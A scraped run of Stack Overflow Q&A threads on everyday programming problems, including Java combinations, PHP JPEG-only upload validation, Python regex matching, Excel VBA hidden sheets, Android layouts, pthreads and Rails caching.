If you have some older Pillow/PIL installations, you might need to manually copy the _imaging.pyd and _imagingmath.pyd to the package installation folder of your python or virtual environment, to make sure you have the newly compiled ones.
You can now import _imaging and you have png support.
You can also add Libjpeg in the same way, compiling it manually, if needed.
Hope this helps anyone that encounters this problem.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616987",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
} |
Q: Efficient way to find combinations of Strings in pair of two if String is an Array This is what I have so far.
package testproject;
public class Combinations{
public Combinations(){
String str_arr[]={"a","b","c"};
GenCombinations(str_arr);
}
public void GenCombinations(String[] str_arr){
System.out.println("Generating All possible Combinations for the following "+str_arr.length+" strings.");
for(int i=0;i<str_arr.length;i++)
{
System.out.print(str_arr[i]+" ");
}
System.out.println("\n------------------------------------------");
/*COMBINATIONS OF LENGTH ONE*/
for(int i=0;i<str_arr.length;i++)
System.out.println(str_arr[i]);
/*COMBINATIONS OF LENGTH TWO*/
for(int i=0;i<str_arr.length;i++)
{
for(int j=0;j<str_arr.length;j++)
{
System.out.println(str_arr[i]+""+str_arr[j]);
}
}
/*COMBINATIONS OF LENGTH THREE*/
for(int i=0;i<str_arr.length;i++)
{
for(int j=0;j<str_arr.length;j++)
{
for(int k=0;k<str_arr.length;k++)
{
System.out.println(str_arr[i]+""+str_arr[j]+""+str_arr[k]);
}
}
}
}
public static void main(String[] args){
new Combinations();
}
}
Any suggestions will be appreciated..
A: If you just want combinations of two strings, then your code is basically as efficient as you can get, with the following caveats:
*
*You need to be sure that the input array contains no duplicates.
*If the strings in the input array are not all of the same lengths, you may need to check for duplicates in the output array.
A: If you want to generate all possible substrings of length k from a given alphabet, then what you're doing is pretty much optimal.
If you want to generate all possible combinations of length k from a given set (or alphabet) with n elements (C(n, k)), then a classical solution is to use Rosen's algorithm.
For example, given a 5-letter alphabet, if you want to take 3 combinations at a time, the gist of it is to count like so:
012
013
014
023
024
034
123
.
.
.
Here's my implementation of a RosenIterator in Java.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616989",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "3"
} |
Q: Efficient way to check if a list of random numbers contains a range from 1 to n If I have an randomly shuffled array with the numbers 1 to n, what is a good way to find that the array contains the range 1 to n (no repeats)? For example,
n = 6; [1, 3, 6, 2, 4, 5] => true
n = 6; [1, 1, 2, 4, 5, 6] => false
A: Sounds suspiciously like homework, but...
This is very simple using a Set:
/* Convert to your favorite language */
validateArray(a, n) {
assertEqual(n, a.length)
def s = new Set(a); // set with all elements of a
assertEqual(s, Set(1..n)); // should be equal to set containing 1 to n
}
A: Make an array of size n, pass through your array and increment the position in the array with that as an index. If at any time the counts array has non 0 or non 1 value, you can stop. If you can't find the index, you can stop now since you know you don't have it.
Here's a quick Java example. In this example, you do not need to count at the end because anything that would cause a non-1 value would cause a failure during the middle.
boolean isRange(int[] arr) {
int[] counts = new int[arr.length];
for(int i : arr) {
if(i < 1 || i > arr.length) return false;
if(counts[i - 1] != 0) return false;
counts[i-1] = 1;
}
return true; // if it wasn't, we would have failed by now
}
A: Use the Gauss formula to precompute what the final sum will be:
final_sum = k * (k+1)
---------
2
Do a linear loop over your shuffled list, adding the numbers as you go, and if your running sum is the same as your final sum, return true.
A: You're going to want to sort the array. Here is a link to some popular choices, http://en.wikipedia.org/wiki/Sorting_algorithm. Personally I recommend bubble sort for a simple solution, and merge sort for a harder, faster version.
Once the list is sorted, you can check for repeats by iterating through the array and making sure that the next # is greater than the previous. Also, this can be added to the sort to shorten computing time.
Finally, check the first and last numbers to make sure they equal 1 and n.
A: If extra space is not allowed(typical constraint in an interview question), then you can sort the array first and scan the sorted array sequentially from left to right to see if every element is larger than its previous element by 1. The time complexity is O(n*logn).
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616991",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: style for displaying tooltip box Not know why tooltip box(class .show_tooltip) there is left when mouse enter on li a, i want display each tooltip box top same link that mouse is enter on it and if the width and height was more or less it is same style.(i want links put in right) DEMO
I want example this (for how): what do i do?
CSS:
.show_tooltip{
background-color: #E5F4FE;
display: none;
padding: 5px 10px;
border: #5A5959 1px solid;
position: absolute;
z-index: 9999;
color: #0C0C0C;
/*margin: 0 0 0 0;
top: 0;
bottom: 0;*/
}
HTML:
<ul>
<li>
<div class="show_tooltip">
put returns between paragraphs
</div>
<a href="#">about</a>
</li>
<br>
<li>
<div class="show_tooltip">
for linebreak add 2 spaces at end
</div>
<a href="#">how</a>
</li>
</ul>
jQuery:
$("li a").mouseenter(function(){
$(this).prev().fadeIn();
}).mousemove(function(e) {
$('.tooltip').css('bottom', e.pageY - 10);
$('.tooltip').css('right', e.pageX + 10);
}).mouseout(function(){
$(this).prev().fadeOut();
})
A: Try this: http://jsfiddle.net/keepyourweb/ecR2S/2/
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616992",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "4"
} |
Q: Specific file type allowed? php upload Im creating a image uploader, and i dont know how to do so only the filetype can be .jpg so im asking you, do you know it?
heres what i got so far:
<?php
session_start();
if($_SESSION['username']) {
$target_path = "users/$username/";
$target_path = $target_path . basename( $_FILES['uploadedfile']['name']);
if(move_uploaded_file($_FILES['uploadedfile']['tmp_name'], $target_path)) {
echo "The file ". basename( $_FILES['uploadedfile']['name']).
"has been uploaded";
header("Location: user.php");
} else{
echo "There was an error uploading the file, please try again!";
}
}
else {
echo "Only members can be here. Register <a href='index.php'>here</a>";
}
?>
And one more thing, how may i rename the uploaded file to : "profile.jpg" ?
A: The jpeg magic number is 0xffd8 so you could check that the first two bytes of the file are 0xff and 0xd8 and if they are not then it is certainly not a jpeg.
Example:
$fp = fopen($_FILES['uploadedfile']['tmp_name'], 'rb');
$bytes = fread($fp, 2);
if (ord($bytes{0}) != 0xff && ord($bytes{1}) != 0xd8) {
echo "Not JPEG!";
} else {
echo "It is JPEG";
}
A truly malicious user will attempt to upload a file by bypassing your form altogether which would allow them to upload a file of any type, give it a .jpg extension even though it is not, send the image/jpg|jpeg mime type even though that is not the correct mime type because the browser just sends that mime type as a service to you, but it cannot be trusted.
A: There are some important things to consider here:
First of all, never rely on the file extension that was provided. I could upload a php file with the extension .jpg if I wanted. Granted, I'd probably have to do some more to actually get it to execute as a php file on your server, but it certainly was not a valid image.
If the upload was successful, $_FILES[ 'uploadedfile' ][ 'type' ] will hold the mime-type that was provided by the request. However, this should also not be trusted, as this can be tampered with as well.
A more reliable way to determine whether the uploaded file is actually an image of type jpeg is to use the function getimagesize. getimagesize() will return false if it's not a valid image and will return an array with information about the image, if it recognized the file as an image. Index 2 of the array will hold a value that corresponds with one of these constants that begin with IMAGETYPE_.
$info = getimagesize( $_FILES[ 'uploadedfile' ]['tmp_name'] );
if( $info !== false )
{
// file is an image to begin with
if( $info[ 2 ] == IMAGETYPE_JPEG )
{
// file appears to be a valid jpeg image
}
}
This is somewhat of an old school method which, as far as I know, is reliable though.
I believe, depending on platform (Windows/*nix) and version (< 5.3, >= 5.3) there are more reliable ways to determine the actual mime-type of a file though. I'll see what I can find for you about that later on.
edit:
I forgot about the renaming part.
Simply replace this:
$target_path = $target_path . basename( $_FILES['uploadedfile']['name']);
... with this:
$target_path = $target_path . 'profile.jpg';
In other words, when you move the file with move_uploaded_file() the second argument will be the new path (including the new file name).
A: HTML5's accept attribute allows you to specify what types of file your input will accept:
<input type="file" accept="image/jpeg" />
This means the file selection dialog that appears will only allow you to select jpegs. I've no idea about how well this is supported in browsers though.
Edit: I also have no idea how the browsers will perform this check. If you really want to enforce the jpeg only policy, then you'll need something like what @drew010 has proposed.
A: You can use getimagesize() to verify an image's format.
However, securing file uploads is very complex, and additional steps are required. For example, it's dangerous to use the user provided original file name.
See this question for advanced discussion about the things that can/need to be done to achieve a really high level of security:
PHP image upload security approach
A: There are different checks you can do to allow only JPG images, according to the level of safety you want to achieve.
Simply, you can check for the *jpg extension, but that would be quite naive, as if a file is renamed it will trick your code.
Another way could be checking against the MIME type (jpeg or pjpeg), which is part of the $_FILES array
$_FILES['uploadedfile']['type']
but this information is not reliable and can be spoofed.
But the best solution that comes to my mind is to use the function getimagesize(), which analizes the images and you can get several information, the most important being to validate the file being actually a real image.
This function returns array with 7 elements.
Index 0 and 1 contains the width and the height of the image.
Index 2 is one of the IMAGETYPE_XXX constants indicating the type of the image.
Index 3 is a text string with the correct height="yyy" width="xxx" string
*mime* is the correspondant MIME type of the image.
*channels* will be 3 for RGB pictures and 4 for CMYK pictures.
*bits* is the number of bits for each color.
The above info are taken from the manual page.
A: There is a lot you can do, to make picture upload more safe:
*
*Resize the images to a standard size. This makes sure that malicious code within an uploaded picture will be scrambled up.
*Rename the uploaded picture to a uniform name schema, that makes it harder to request a prepared file and you can ensure the correct file extension.
*Do some settings in your .htaccess file, so only jpg files will be delivered from the picture directory.
Here an example of how to write a .htaccess file:
IndexIgnore *
Deny from all
<FilesMatch "\.(jpg|jpeg)$">
Allow from all
</FilesMatch>
These are some points i think are important, but the list is of course not conlusive.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616994",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
} |
Q: Python regex string matching? I'm having a hell of a time trying to transfer my experience with javascript regex to Python.
I'm just trying to get this to work:
print(re.match('e','test'))
...but it prints None. If I do:
print(re.match('e','est'))
It matches... does it by default match the beginning of the string? When it does match, how do I use the result?
How do I make the first one match? Is there better documentation than the python site offers?
A: the docs is clear i think.
re.match(pattern, string[, flags])¶
If zero or more characters **at the beginning of string** match the
regular expression pattern, return a corresponding MatchObject
instance. Return None if the string does not match the pattern; note
that this is different from a zero-length match.
A: re.match implicitly adds ^ to the start of your regex. In other words, it only matches at the start of the string.
re.search will retry at all positions.
Generally speaking, I recommend using re.search and adding ^ explicitly when you want it.
http://docs.python.org/library/re.html
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7616998",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "33"
} |
Q: Finding hidden sheets (and hidden cells) in excel with VBA Is there a way to determine if an Excel workbook has hidden sheets and/or hidden cells using VBA? Thanks!
A: You can loop through the worksheets, columns, and rows checking the worksheet.visible and range.hidden properties. Below is some quick and dirty code that will output any hidden elements to the immediate window.
Sub FindHidden()
Dim wks As Worksheet
Dim rng As Range
For Each wks In ThisWorkbook.Worksheets
If wks.Visible = xlSheetHidden Then
Debug.Print "Worksheet: " & wks.Name & " is hidden."
ElseIf wks.Visible = xlSheetVeryHidden Then
Debug.Print "Worksheet: " & wks.Name & " is very hidden."
End If
For Each rng In wks.UsedRange.Rows
If rng.Hidden = True Then
Debug.Print "Worksheet: " & wks.Name & " Hidden Row: " & rng.Row
End If
Next rng
For Each rng In wks.UsedRange.Columns
If rng.Hidden = True Then
Debug.Print "Worksheet: " & wks.Name & " Hidden Column: " & Left(Replace(rng.Address, "$", ""), 1)
End If
Next rng
Next wks
End Sub
A: I keep the procedure below in my Personal.xls file and have a button on the Quick Access Toolbar to run it. It displays all hidden sheets and very hidden sheets in a pop up dialog that also gives you the ability to unhide a single sheet or all Hidden, all veryHidden or both.
This does not show the hidden cells/rows/columns but has been very useful for finding and unhiding sheets. I use Dave's Mappit Addin noted above for the more detailed analysis.
Code is below:
Sub UnHideStuff()
'----------------------------------------------------------------------------
' UnHideStuff Macro
' Written by ProdOps
' 13-Feb-2010
'
' Provides an input dialog box that displays the names of all Hidden and all
' VeryHidden worksheets in the workbook and allows the user to enter the
' name of the worksheet they want to unhide.
' * will unhide all Veryhidden sheets
' ** will unhide all Hidden sheets.
' *** will unhide all worksheets in the workbook
'
'----------------------------------------------------------------------------
Dim Message As String
Dim Title As String
Dim Default As String
Dim myValue As String
Dim myList As String
Dim Sheetnum As Long
'Build a list of VeryHidden Sheets
myList = "'INVISIBLE WORKSHEET NAMES(*)':"
For Sheetnum = 1 To Sheets.Count
If Sheets(Sheetnum).Visible = 2 Then
myList = myList & vbCrLf & " " & Sheets(Sheetnum).Name
End If
Next Sheetnum
If myList = "'INVISIBLE WORKSHEET NAMES(*)':" Then
myList = myList & vbCrLf & " No Invisible Sheets in This Workbook"
End If
'Build a list of Hidden Sheets
myList = myList & vbCrLf & vbCrLf & "'HIDDEN WORKSHEET NAMES(**)':"
For Sheetnum = 1 To Sheets.Count
If Sheets(Sheetnum).Visible = 0 Then
myList = myList & vbCrLf & " " & Sheets(Sheetnum).Name
End If
Next Sheetnum
If Right(myList, 11) = "NAMES(**)':" Then
myList = myList & vbCrLf & " No Hidden Sheets in This Workbook"
End If
'Build the Textbox Message & Title
Message = "Enter the 'Name' of the WorkSheet to Unhide" & vbCrLf
Message = Message & "Or * - All Invisible, ** - All Hidden, *** - All" & vbCrLf & vbCrLf
Message = Message & myList
Title = "Unhide Hidden Worksheets"
Default = ""
'Display the Message Box and retrive the user's input
myValue = InputBox(Message, Title, Default)
'Test the value entered by the user
If myValue = "" Then Exit Sub 'User pressed CANCEL
If myValue = "*" Then 'User wants all the VeryHidden sheets displayed
For Sheetnum = 1 To Sheets.Count
If Sheets(Sheetnum).Visible = 2 Then Sheets(Sheetnum).Visible = True
Next Sheetnum
GoTo NormalExit
End If
If myValue = "**" Then 'User wants all the Normal Hidden sheets displayed
For Sheetnum = 1 To Sheets.Count
If Sheets(Sheetnum).Visible = 0 Then Sheets(Sheetnum).Visible = True
Next Sheetnum
GoTo NormalExit
End If
If myValue = "***" Then 'User wants all worksheets displayed
For Sheetnum = 1 To Sheets.Count
Sheets(Sheetnum).Visible = True
Next Sheetnum
GoTo NormalExit
End If
On Error GoTo ErrorTrap
Sheets(myValue).Visible = xlSheetVisible
Sheets(myValue).Select
Range("A1").Select
NormalExit:
Exit Sub
ErrorTrap:
If Err = 9 Then
MsgBox "Either the Worksheet Does Not Exist or " & vbCrLf & "the Worksheet Name was Misspelled", vbCritical, "Worksheet Not Found"
Err.Clear
Call UnHideStuff
End If
End Sub
A: Another option is my (free) Mappit! addin available here which highlights
*
*hidden areas on each sheet tested (see pink shaded area below),
*and also produces an interlinked sheet summary which lists how worksheets are connected with discrete formulae (regardless of whether they are visible, hidden or very hidden)
Your question has prompted me to look at updating the sheet link output to colour highlight which sheets are hidden, or very hidden.
[Update: MappitV1.11 updated as below to provide info on sheet visibility. Now further updated to MappitV1.11a as empty sheets that were hidden were not being flagged on the summary sheet]
A: Here is a method, very similar to Banjoe's, that will return the count of how many hidden sheets, columns, and rows there are (assuming you don't need the info on which rows and just want a report).
*
*Note that using the 'UsedRange' for rows/columns means that the count will not include rows/columns that do not contain any data (but the macro will be faster as a result).
Here is the code:
Sub HiddenReport()
Application.ScreenUpdating = False
Dim wks As Worksheet
Dim rng As Range
Dim sCount As Long, rCount As Long, cCount As Long
For Each wks In ThisWorkbook.Worksheets
If wks.Visible = xlSheetHidden Then sCount = sCount + 1
If wks.Visible = xlSheetVeryHidden Then sCount = sCount + 1
For Each rng In wks.Rows ' or wks.UsedRange.Rows
If rng.Hidden = True Then rCount = rCount + 1
Next
For Each rng In wks.Columns ' or wks.UsedRange.Columns
If rng.Hidden = True Then cCount = cCount + 1
Next
Next
Application.ScreenUpdating = True
MsgBox sCount & " hidden sheets found." & vbLf & _
rCount & " hidden rows found." & vbLf & _
cCount & " hidden columns found."
End Sub
Please note that you can also use the "inspect document" feature in Excel to see if a document has hidden sheets/rows/columns.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7617000",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "5"
} |
Q: Dealing with schema changes in Mongoose What's the best practice (or tool) for updating/migrating Mongoose schemas as the application evolves?
A: I just had this problem where I needed to update my database to reflect the changes to my schema. After some research I decided to try the updateMany() function in the mongo console to make the updates and I think it worked pretty well.
To apply this to vimdude's example the code would look as follows:
try {
db.<collection>.updateMany( { birthplace: null }, { $set:
{"birthplace": "neverborn" } } );
} catch(e) {
print(e);
}
The updateMany() function will update all documents in a collection based on a filter. In this case the filter is looking for all documents where the field 'birthplace' is null. It then sets a new field in those documents named 'birthplace' and sets its value to 'neverborn'.
After running the code, modified to reflect your circumstances run:
db.<collection>.find().pretty()
to verify that the changes were made. The new field "birthplace" with the value of "neverborn" should show at the end of each document in your collection.
Hope that helps.
A: Update: Tested, this does not work in its current form, its got the right idea going, I got a single migration to work with considerable tweaking of the module itself. But I don't see it working as intended without some major changes and keeping track of the different schemas somehow.
Sounds like you want mongoose-data-migrations
It is intended to migrate old schema versions of your documents as you use them, which is seems to be the best way to handle migrations in mongodb.
You don't really want to run full dataset migrations on a document collection (ala alter table) as it puts a heavy load on your servers and could require application / server downtime. Sometimes you may need to write a script which simply grabs all documents applies the new schema / alterations and calls save, but you need to understand when/where to do that. An example might be, adding migration logic to doc init has more of a performance hit than taking down the server for 3 hours to run migration scripts is worth.
I found this link pretty helpful as well, basically reiterates the above in more detail and essentially implements the above node package's concept in php.
N.B. The module is 5months old, 0 forks, but am looking around and can't find anything better / more helpful than abdelsaid's style of response..
A: It's funny though, MongoDB was born to respond to the schema problems in RDBMS. You don't have to migrate anything, all you have to do is set the default value in the schema definition if the field is required.
new Schema({
name: { type: string }
})
to:
new Schema({
name: { type: string },
birthplace: { type: string, required: true, default: 'neverborn' }
});
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7617002",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "79"
} |
Q: Hot Code Replaced Failed I keep getting the below warning message in eclipse when doing Android development. No matter how many times I click the option to not show the warning again, it just keeps popping up. Sometimes I hit disconnect, sometimes I hit continue, but either way the warning keeps showing up.
How the heck do I get this thing to go away for good? I don't really care about hot code replace, my development cycle doesn't require it.
A: Go to Window -> Preferences -> Java -> Debug and you'll find the switches to control hot code swapping.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7617005",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "3"
} |
Q: Code completion Pydev Django Model Foreign Key Field Code completion in Eclipse/pydev works decent for me. However there is one thing that does not work like I want it to. Consider the following django model:
class ReletionTree(models.Model):
mother = models.ForeignKey('RelationTree', blank=True, null=True)
father = models.ForeignKey('RelationTree', blank=True, null=True)
name = models.CharField()
rt = RelationTree.objects.get(name='Mary') #assume unique on Mary
Now to the problem:
rt. #--> will code complete and give me options mother/father/name
rt.mother. #--> will not code complete into mother/father/name, it will code
# complete as if isinstance(rt.mother, models.ForeignKey) (I think)
Is there a way to make Pydev understand that I want it to code complete Foreign Keys
as if they where of the type to which it points (in above case RelationTree and not models.ForeignKey)
Thanks, David
A: I doubt it very much (I also do Django and Eclipse), because Pydev isn't smart enough to understand the weird metaclass that Django uses to transform father = models.ForeignKey() to father = RelationTree() or whatever.
Python is really hard for autocompleters to parse, and PyDev and PyLint seem to completely give up when it comes to metaclasses. (pylint always complains that my model classes have no objects member!)
A: Some 3+ years later and my 6 month project is still not finished (=. However I now know that:
*
*You should use pycharm instead of eclipse+pyDev. Their free edition is a much better for python development in my opinion.
*Pycharm professional edition also supports django code completion. It saves me a lot of time.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7617009",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
} |
Q: Android LinearLayout and Images Ok, I know this can't be hard, but I'm having a heck of a time with it.. I'm a seasoned Java programmer, but very new to Android (ok, so I'm working on my first test app still...)
I'd like to have 3 images on the screen, one "main" image that takes up, say, the top 75% of the screen, then two smaller images laid out horizontally underneath it. (Think of a gallery, with the main (current) image displayed, a "previous" image icon below it on the left, and a "next" image icon below the main on the right).
I don't have big and small images, they're just all big and I want them to be displayed in a scaled fashion. The problem is no matter what I do, the "main" image takes up way too much space, such that most often, the images on the bottom aren't visible at all.
I realize that I can set the main image's height to a specified number of dip and that has worked, but then if my app goes to a device with a different density, it will look goofy. I've tried playing with android:layout_weight, but with no luck. I thought if I set the layout_weights equal, it would make the views take up the same proportion, but the "main" image just always dominates and results in the small images being clipped at the bottom or pushed fully off screen.
I also realize I could probably use other layouts, but it seems so simple to just have the root layout be a vertical LinearLayout that consists of an image and a horizontal LinearLayout that consists of 2 images. Something like this:
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
>
<ImageView
android:id="@+id/cbPicView"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:layout_gravity="center_horizontal"
android:src="@drawable/cb1"
android:layout_weight="1"
/>
<LinearLayout
android:orientation="horizontal"
android:layout_width="fill_parent"
android:layout_height="wrap_content"
android:layout_weight="1"
>
<ImageView
android:id="@+id/cbPrevPicView"
android:layout_width="50dip"
android:layout_height="50dip"
android:src="@drawable/cb4"
android:layout_weight="1"
/>
<ImageView
android:id="@+id/cbNextPicView"
android:layout_width="50dip"
android:layout_height="50dip"
android:src="@drawable/cb2"
android:layout_weight="1"
/>
</LinearLayout>
</LinearLayout>
Sorry for the length - trying to provide as much detail as I can. Thanks!
A: This will make something like:
-------
1
-------
2 | 3
-------
Layout:
<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
android:orientation="vertical"
android:layout_width="fill_parent"
android:layout_height="fill_parent"
>
<ImageView
android:id="@+id/cbPicView"
android:layout_width="wrap_content"
android:layout_height="0dp"
android:layout_gravity="center_horizontal"
android:src="@drawable/cb1"
android:layout_weight="3"
/>
<LinearLayout
android:orientation="horizontal"
android:layout_width="fill_parent"
android:layout_height="0dp"
android:layout_weight="1"
>
<ImageView
android:id="@+id/cbPrevPicView"
android:layout_width="0dp"
android:layout_height="fill_parent"
android:src="@drawable/cb4"
android:layout_weight="1"
/>
<ImageView
android:id="@+id/cbNextPicView"
android:layout_width="0dp"
android:layout_height="fill_parent"
android:src="@drawable/cb2"
android:layout_weight="1"
/>
</LinearLayout>
</LinearLayout>
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7617011",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "2"
} |
Q: Does pthread_detach wait for the child process to terminate, as the pthread_join does? I wanted to know will pthread_detach halt the parent until the child thread terminates, or it goes on with the execution??... As, the pthread_join waits for the child thread to finish and then proceed...
A: I believe the purpose of pthread_detach is to indicate that you do not intend to call pthread_join on the given thread. It does not block. You would do this because the pthread implementation needs to keep track of the fact that the thread has terminated and what it's exit value is in case of a later pthread_join. So you should either call pthread_join to free that space in the internal data structure, or call pthread_detach to indicate that the space should not be reserved.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7617014",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: Determine the visual size of an object at a given distance from origin (using perspective) Let's say we have a square, 50 pixels wide. And the -webkit-perspective is 1000px*.
What is the formula to determine how big the square will appear to be at a given distance from the viewer (the width it will actually appear to be on screen)?
* This means that the viewer's position is 1000px from the z=0 point.
A: The angular width of a square 50 units wide, when seen from a distance of x units, is 2 atan(25/x) (in radians).
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7617021",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
} |
Q: Building web-based expert systems? A client has asked us to build a web-based tool to help new users entering into their domain. The system would ask users questions to help build a profile on them and their interests. The profile could then be used by real-life counselors in figuring out what the user needs to do next (ie get funding, find partners, do more research).
Ideally the user would be able to skip certain questions and continue on. At a later decision point the system could ask them if they would like to answer a previous question they skipped if that information is needed to go on.
My question is what is the best way to code a system like this? I have looked at Expert Systems and decision trees. The use case patterns seem to fit an Expert System but there don't seem to be any good web frameworks for either to build a tool like this.
Any recommendations for an open source solution?
A: One simple word: Databases
In that way you'll be able to save all questions, answers and unanswered questions which should be answered later. I'd recommend MySql
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7617022",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: How does the UserTransaction and the EntityManager interact? This is an academic question; I have no broken code in relation to this. I just want to expand my understanding of what is happening under the hood.
The code pattern I have been using (copied from books and tutorials) in my JPA DAO for my typical JSF web applications is basically this:
public class someDAO {
@PersistenceContext protected EntityManager em;
@Resource private UserTransaction utx;
public void persist(Entity entity) {
try {
utx.begin();
em.persist(entity);
utx.commit();
} catch ( // gawd awful long list of possible exceptions )
// etc
So my questions are as follows:
*
*Why are the EntityManager instance and the UserTransaction instance injected with annotations from two seemingly unrelated packages?
*Why is the annotation @Resource and @PersistenceContext rather than @ManagedProperty or perhaps @Inject used?
*How does the persist() method access and interact with the utx object? If I forget the utx.begin() call the entity manager knows about it and throws and exception. It must be finding the UserTransaction object in some magic way. Wouldn't it have been better architecture to define the interface like: em.persist(utx, entity)?
*If utx is some sort of singleton -- is it possible to have more than one UserTransaction open at a time?
Much thanks for any discussion.
A: *
*Because UserTransaction is part of Java Transaction API (JTA) and EntityManager is part of Java Persistence API (JPA). JTA is not part of JPA. JPA uses services provided by JTA.
*Isn't ManagedProperty is some annotation which is valid only in classes annotated with @ManagedBean. Maybe it was considered better to not inject UserTransaction
different way in managed beans.
*JNDI lookup for active transaction. Reserved name seems to be java:comp/UserTransaction. One implementation: http://www.java2s.com/Open-Source/Java-Document/Database-ORM/hibernate/org/hibernate/transaction/JTATransactionFactory.java.htm
*It is not some sort of singleton, you can have more than one. But only one per thread can be active.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7617026",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "16"
} |
Q: Rails 3 fragment caching not doing anything Trying to get fragment caching to work in Rails 3.0.9.
I have set this in development.rb:
config.action_controller.perform_caching = true
And restarted the server (webrick). Then set this in my view:
<% cache("tags_json") do %>
[Content to be cached]
<% end %>
And when I reload the page, I don't see anything in the log about caching. Reload the page again, same results, no cache has been written or read. There is also no cache files created anywhere in the file tree as far as I can tell.
I am new to caching so I am sure that I've just forgotten to set something up. Any help is appreciated, thanks!
A: Beside configuring ActionController's cache performing, you also need to set cache store in general config.
Put
config.cache_store = xyz,abc
cache_store configures which cache store to use for Rails caching. Options include one of the symbols
:memory_store, :file_store, :mem_cache_store, or an object that implements the cache API.
It defaults to :file_store if the directory tmp/cache exists, and to :memory_store otherwise.
I'll recommend to use dalli store in-conjunction with memcached client.
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7617027",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "4"
} |
Q: Import and run things in one off Clojure script I'm new to Clojure and I've been following the tutorial here: http://devcenter.heroku.com/articles/clojure-web-application
So I've been running my apps with foreman start and then testing small Clojure scripts with lein repl.
However running sequences of interactions in the REPL is time-consuming and frustrating; I'd like to put all the interactions in lein repl in a one-off script that I can run all the way through.
The following two lines work when run from lein repl (after calling, for example, lein deps with a project.clj file), but not when I put them in a file called interactions.clj and try running the file with clj interactions.clj.
(use 'clojure.contrib.http.agent)
(string (http-agent "http://jsonip.com/"))
What do I need to do to be able to run those two lines (and more) from a one-off script?
I tried using lein run interactions.clj, checking the instructions on importing things here (and trying out twenty different versions of ns, :use, :require and '), and lein oneoff interactions.clj with no success. It shouldn't be that hard to do this, right?
A: This isn't exactly what you're asking for, but I usually create a runnable jar file as explained here: http://zef.me/2470/building-clojure-projects-with-leiningen.
A: I want
java -cp /path/to/clojure-1.X.X.jar:path/to/other/deps clojure.main -i /path/to/scratchfile.clj
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7617028",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "1"
} |
Q: inject class in to using statement with spring.net I am developing a .net c# application that uses dependency injection with spring.net and ran in to an issue. I have the following method:
public string Process()
{
using(var p = new MyClass())
{
// do some processing
return p.RunClass();
}
}
I am configuring my spring injection to inject in to properties instances of classes etc.
However I am unsure as to how I might inject in to a using statement. I want to replace the above "using(var p = new MyClass())" with the ability to inject in the MyClass and wrap it in a using statement.
Could someone assist me achieving this please?
A: What about injecting a MyClassFactory? Then you could do something like this:
IMyClassFactory _processorFactory; //inject this
using(var p = _processorFactory.Create())
{
p.RunClass();
}
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7617032",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "3"
} |
Q: javascript on href disabeld on apps? Suddenly all my apps does not work the javascript I include in href, sample:
<a href="javascript:dosomething()">click</a>
this worked ok a week a go but now it does not execute anyway. is there any way to fix this?
A: Try:
<a href="#" onClick="dosomething(); return false;">click</a>
A: you could use onclick instead of href
<a href="javascript:;" onclick="javascript:doSomething();">Click1</a>
<a href="javascript:void(0);" onclick="javascript:doSomething();">Click2</a>
<a href="javascript:void(0);" onclick="javascript:doSomething();return false;">Click3</a>
<a href="#" onclick="javascript:doSomething();">Click4</a>
<a href="###" onclick="javascript:doSomething();">Click5</a>
A: I have seen this issue as well, not sure what is causing it. Because we use ASP.NET link buttons render using the href, and therefore don't post back. Adding the following code turnes an href into an onclick event.
<script type="text/javascript">
__onclick = function() {
eval(this._js);
}
__evalLinks = function() {
if (navigator.userAgent.indexOf("Firefox")!=-1) return;
var oLinks = document.getElementsByTagName("a");
for (var i=0;i<oLinks.length;i++) {
if(!oLinks[i].onclick && oLinks[i].href.length > 11 && oLinks[i].href.substr(0, 11) == "javascript:") {
oLinks[i].onclick = __onclick;
oLinks[i]._js = unescape(oLinks[i].href.substr(11, oLinks[i].href.length-11));
}
}
}
window.onload = __evalLinks;
</script>
Many Thanks,
Ady
| {
"language": "en",
"url": "https://stackoverflow.com/questions/7617039",
"timestamp": "2023-03-29T00:00:00",
"source": "stackexchange",
"question_score": "0"
